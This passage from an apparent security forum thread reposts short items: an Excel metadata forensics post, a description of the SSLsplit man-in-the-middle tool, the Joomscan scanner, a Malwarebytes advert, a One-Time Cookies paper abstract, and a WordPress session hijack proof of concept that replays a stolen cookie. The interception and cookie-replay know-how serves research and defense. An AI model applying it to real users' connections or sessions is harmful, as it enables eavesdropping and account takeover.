cleared first. This means that you may find residual data following the end of the most recent user name. The screenshot below depicts this scenario. The most recent user name is "Jason", while "e 2010" is still stored in the record (the previous user name was "Office 2010"). This remained consistent in my testing of Excel 2000, 2007, and 2010 (I did not have Excel 2003 or 2013 available to me at the time of testing). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Write Access User Name record[/TD] [/TR] [/TABLE] [h=4]Finding the Record[/h] The Write Access User Name record should be stored near the beginning of the Workbook stream. You can easily view this stream using a tool such as SSView, although the user name may not be parsed out automatically. Once you've identified the Workbook stream, the user name should be visible in a hex editor. The only tool I've currently tested that parses the user name is X-Ways Forensics, so it may be necessary to manually parse this record if you don't have a tool that will do it for you (or if you want to verify the results of your tool or just enjoy manually parsing data structures). An easy way to find the Write Access User Name record within the Workbook stream is to search for a block of 0x20. According to the MS documentation, this record should be exactly 112 bytes in size and is padded with spaces (0x20) after the end of the user name. Since most user names will likely only be a few characters in length, a block of 0x20 after the end of the name will be necessary for padding the record to 112 bytes. This method should work for identifying the Write Access User Name record, but I would recommend following along using the binary specification referenced earlier to develop a better understanding of the data structure. If there is residual data after the current user name in the record, familiarity with the data structure will allow you to easily distinguish between current and previous data. [h=4]Forensic Implications[/h] Parsing the data from the Write Access User Name record within an Excel spreadsheet saved in the OLE compound file format can provide an examiner with a metadata field that may be equated to the "Last Opened By" user. This can be particularly helpful when a limited set of data is provided for analysis or otherwise any time information regarding the last time a spreadsheet was opened is significant. By combining this data with the OLE Root Entry last modified time, it is possible for an examiner to determine the last time an Excel spreadsheet was opened as well as the user name associated with the account that opened the spreadsheet, even if the file was not saved and nothing other than the file itself is available for analysis. Resources Microsoft Excel (xls) Binary File Format Specification Posted by Jason Hale at 1:28 AM Sursa: Digital Forensics Stream: MS Excel and BIFF Metadata: Last Opened By

[h=1]SSLsplit: Tool for man-in-the-middle attacks against SSL/TLS encrypted network connections.[/h] [h=1][/h] SSLsplit is a tool for man-in-the-middle attacks against SSL/TLS encryptednetwork connections. Connections are transparently intercepted through a network address translation engine and redirected to SSLsplit. SSLsplit terminates SSL/TLS and initiates a new SSL/TLS connection to the original destination address, while logging all data transmitted. SSLsplit is intended to be useful for network forensics and penetration testing. SSLsplit supports plain TCP, plain SSL, HTTP and HTTPS connections over both IPv4 and IPv6. For SSL and HTTPS connections, SSLsplit generates and signs forged X509v3 certificates on-the-fly, based on the original server certificate subject DN and subjectAltName extension. SSLsplit fully supports Server Name Indication (SNI) and is able to work with RSA, DSA and ECDSA keys and DHE and ECDHE cipher suites. SSLsplit can also use existing certificates of which the private key is available, instead of generating forged ones. SSLsplit supports NULL-prefix CN certificates and can deny OCSP requests in a generic way. SSLsplit version 0.4.5 released on Nov 07, change logs are - Add support for 2048 and 4096 bit Diffie-Hellman. - Fix syslog error messages (issue #6). - Fix threading issues in daemon mode (issue #5). - Fix address family check in netfilter NAT lookup (issue #4). - Fix build on recent glibc systems (issue #2). - Minor code and build process improvements. [h=3]Download the SSLsplit [/h] Posted 27th November 2012 by BreakTheSec Sursa: Ethical Hacking Software and Security Tools: SSLsplit: Tool for man-in-the-middle attacks against SSL/TLS encrypted network connections.

[h=1]OWASP Joomscan -Joomla vulnerability scanner identifies 673 vulnerabilities [/h] Joomscan is one of penetration testing tool that help to find the vulnerability in Joomla CMS. The Updated version can detects 673 vulnerabilities . Detects file inclusion, sql injection, command execution vulnerabilities of a target Joomla! web site. Downlaod Joomscan How to use Joomscan? Posted 27th November 2012 by BreakTheSec Sursa: Ethical Hacking Software and Security Tools: OWASP Joomscan -Joomla vulnerability scanner identifies 673 vulnerabilities

Malwarebytes Anti-Exploit BETA Protects Internet Explorer, Firefox, Chrome, and Opera browsers Protects browser components, including Java and Flash Defends against drive-by download attacks Shields vulnerable applications Blocks unknown and known exploit kits Support for Windows 8, XP, Vista and 7 (32-bit and 64-bit) Download Now [h=2]Feeling exploited? We have you covered.[/h] Malwarebytes Anti-Exploit BETA protects you from zero-day exploits targeting browser and application vulnerabilities. Its proprietary technology protects you in that critical period between the release of a new exploit and its subsequent security patch. And, unlike antivirus products, Malwarebytes Anti-Exploit BETA proactively prevents the exploit from installing its payload. Before it can do damage. Sursa: Malwarebytes : Malwarebytes Anti-Exploit

One-Time Cookies: Preventing Session Hijacking Attacks with Stateless Authentication Tokens Italo Dacosta, Saurabh Chakradeo, Mustaque Ahamad and Patrick Traynor Converging Infrastructure Security (CISEC) Laboratory Georgia Institute of Technology {idacosta@, schakradeo@, mustaq@cc., traynor@cc.}gatech.edu Abstract HTTP cookies are the de facto mechanism for session authentication in web applications. However, their inherent security weaknesses allow attacks against the integrity of web sessions. HTTPS is often recommended to protect cookies, but deploying full HTTPS support can be challenging due to performance and financial concerns, especially for highly distributed applications. Moreover, cookies can be exposed in a variety of ways even when HTTPS is enabled. In this paper, we propose One-Time Cookies (OTC), a more robust alternative for session authentication. OTC prevents attacks such as session hijacking by signing each user request with a session secret securely stored in the browser. Unlike other proposed solutions, OTC does not require expensive state synchronization in the web application, making it easily deployable in highly distributed systems. We implemented OTC as a plugin for the popular WordPress platform and as an extension for Firefox and Firefox for mobile browsers. Our extensive experimental analysis shows that OTC introduces a latency of less than 6 ms when compared to cookies - a negligible overhead for most web applications. Moreover, we show that OTC can be combined with HTTPS to effectively add another layer of security to web applications. In so doing, we demonstrate that One-Time Cookies can significantly improve the security of web applications with minimal impact on performance and scalability. Download: https://smartech.gatech.edu/jspui/bitstream/1853/42609/1/GT-CS-12-02.pdf

WordPress Session Hijack (Seshn Proof of Concept) So, I recently got an beta invite to the new(ish) website Seshn. I’ve been giving them plenty of feedback via twitter. One of my latest tweets to them, I made a bold claim: Their website is at risk of session hijacks (in theory). Why do I saw this? Well, as it turned out, Seshn is powered by WordPress and if my research serves me correctly, many installations of WordPress are vulnerable to this type of attack without some backend changes. For those of you who don’t know, a session hijack is when I, the bad guy, somehow get a hold of your cookies and then impersonate you (And by impersonate I mean I can be logged in as you without knowing your password.) So, how would this work? My setup for the test was two chrome windows, one in incognito mode. Both have the extention Edit This Cookie installed. On window 1 (The one I am logged in as, if I open edit this cookie I can see the cookies currently on my computer from that website. As you can see, one of those cookies is called “wordpress_logged_in_138ec16e1cd2a6203cb11a99a9cd21b0?. It is marked as a session cookie and it is marked as http only (Which is GOOD. That helps protect against XSS attacks). HOWEVER, it is not secure. (AKA: It is transferred freely with no encryption (plain text). So, if I, the attacker from windows 2 (incognito mode) somehow got a hold of window 1?s cookies (through something like wire tapping), what could I do with them? Let’s find out. So here we are, not logged in. Let’s open up Edit This Cookie, click “Add New Cookie” and add that “wordpress_logged_in_138ec16e1cd2a6203cb11a99a9cd21b0? cookie with the value that we stole from window 1. Save changes…. and voila! Windows 2 is now logged in as window 1! I suppose I could have gone into more detail and showed more screenshots, but it is a “proof of concept” after all. Troy Hunt on Session Hijacking: Troy Hunt: ASP.NET session hijacking with Google and ELMAH Troy Hunt: Is Stack Overflow “secure”? Kind of… Troy Hunt: C is for cookie, H is for hacker – understanding HTTP only and Secure cookies Sursa: WordPress Session Hijack (Seshn Proof of Concept) | Andrew McGivery